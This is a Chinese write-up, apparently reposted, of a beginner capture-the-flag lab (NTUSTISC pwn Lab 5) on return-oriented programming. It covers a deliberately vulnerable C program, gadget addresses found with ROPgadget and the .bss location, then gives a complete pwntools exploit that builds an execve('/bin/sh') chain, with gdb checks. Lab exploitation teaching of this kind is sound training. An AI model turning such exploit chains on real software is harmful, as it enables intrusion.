[NTUSTISC pwn LAB 5]rop入门实验
Posted 漫小牛
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[NTUSTISC pwn LAB 5]rop入门实验相关的知识,希望对你有一定的参考价值。
文章目录
一、要点
- ROP chain
二、预备知识
预备知识请参考pwn入门参考资源中的ROP部分。
三、题目
这是一道pwn rop题目,同时不但给出了二进制文件,也给出了源文件:
题目及相关资源的下载地址为:
链接:https://pan.baidu.com/s/1uRyQN1dzA0OLsgcn1UtYjg
提取码:vfdl
本次实验对应Lab5
四、解题过程
1、检查保护机制
checksec存在Canary,也存在NX,无法平坦的溢出栈空间。
2、运行查看效果
运行该程序,用户有一个输入点,填充大量的字符串,程序crash,报段错误。
根据检查保护机制和查看运行效果的情况,就出现了一个看似矛盾的问题:
问题一:既然有Canary保护,为何还会出现栈溢出?
解答:该函数Makefile为:
gcc rop.c -fno-stack-protector -no-pie -static -o rop
-fno-stack-protector用于关掉Canary,表明rop.c中已经关掉了Canary,但是编译选项中增加了-static,出题人的目的是通过静态链接找到更多的gadget,在链接的静态库中,会存在Canary。但这丝毫不影响对rop的buffer overflow,影响buffer overflow的只有NX保护。
gdb rop查看disass main后,也并未在main函数中看到Canary。
3、静态分析
直接看实验中给出的源码rop.c:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main()
{
char buf[16];
puts("This is your first rop challenge ;)");
fflush(stdout);
read(0, buf, 0x90);
return 0;
}
read函数用于接收用户的输入,0x90的空间足够通过gadget链拼接出shellcode。
4、ROP chain的设计
要拼出的ROP chain见下图:
在栈中填入ROP链接和execve所需的参数,利用系统调用执行shellcode获得shell。
5、查找gadget片段
使用命令ROPgadget --binary rop,可查找大量的gadget片段:
如果gadget比较多的话,可以导出到文件,并通过文件查找所需的gadget。
ROPgadget --binary rop > g
使用cat g | grep "pop rdi"来查找该片段,并选出较为干净的片段:
pop rdi的地址为0x0000000000400686,
按同样的方式查找(1)pop rsi,(2)pop rdx, (3)pop rax, (4)mov qword ptr [rdi], rsi, (5)syscall:
pop rsi的地址为0x0000000000410093
pop rdx的地址为0x00000000004494b5
pop rax的地址为0x0000000000415294
mov qword ptr [rdi], rsi; ret的地址为0x0000000000446c1b
syscall的地址为0x0000000000474a65
mov这条指令查找时,注意要加上转义字符:
cat g | grep "mov qword ptr \\[rdi\\]"
6、查找bss段的地址
输入命令readelf -S rop查找bss段的地址:
这个地址是0x00000000006bb2e0,大小为0x16f8,只要将/bin/sh写入这个地址空间就可以。一般情况下,bss段通常是指用来存放程序中未初始化的或者初始化为0的全局变量和静态变量,如果程序中存在这些变量,会从0x00000000006bb2e0的起始地址开始存放,为了避免覆盖这些变量,可以向后偏移一些,而在这个例子中,并无这类变量存在,因此可以从0x00000000006bb2e0的地址开始写。
7、编写exp
编写的exp为:
from pwn import *
r = process('./rop')
pop_rdi = 0x0000000000400686 # pop rdi ; ret
pop_rsi = 0x0000000000410093 # pop rsi ; ret
pop_rdx = 0x00000000004494b5 # pop rdx ; ret
pop_rax = 0x0000000000415294 # pop rax ; ret
mov_qword_rdi_rsi = 0x0000000000446c1b # mov qword ptr [rdi], rsi ; ret
syscall = 0x0000000000474a65 # syscall; ret
bss = 0x00000000006bb2e0
r.recvuntil(')\\n')
# rdi
p = 'a' * 0x18
p += p64(pop_rdi)
p += p64(bss)
p += p64(pop_rsi)
p += '/bin/sh\\x00'
p += p64(mov_qword_rdi_rsi)
# rsi
p += p64(pop_rsi)
p += p64(0)
# rdx
p += p64(pop_rdx)
p += p64(0)
# rax
p += p64(pop_rax)
p += p64(0x3b)
# syscall
p += p64(syscall)
r.send(p)
r.interactive()
运行该脚本后,执行ls命令,可以看出已经拿到了shell:
五、gdb动态验证
在exp中r = process(’./rop’)的下增加一行代码raw_input():
在当前窗口执行该python脚本,程序会因raw_input()这条语句卡在这里:
再打开另一终端并执行gdb pid 3848,attach到3848进程。
输入ni,切换到执行python脚本的终端,按回车键跳过卡着的位置。调试到主函数的ret位置时,可看到栈帧中已摆好的ROP chain:
接下来会一步一步执行ROP chain,过程略。
以上是关于[NTUSTISC pwn LAB 5]rop入门实验的主要内容,如果未能解决你的问题,请参考以下文章
[NTUSTISC pwn LAB 7]Return to libc实验(puts泄露libc中gadget片段定位)
[NTUSTISC pwn LAB 4]gothijacking入门实验
[NTUSTISC pwn LAB 0]新手就能掌握的pwntools接口入门实验
[NTUSTISC pwn LAB 1]栈溢出:gdb动态调试bof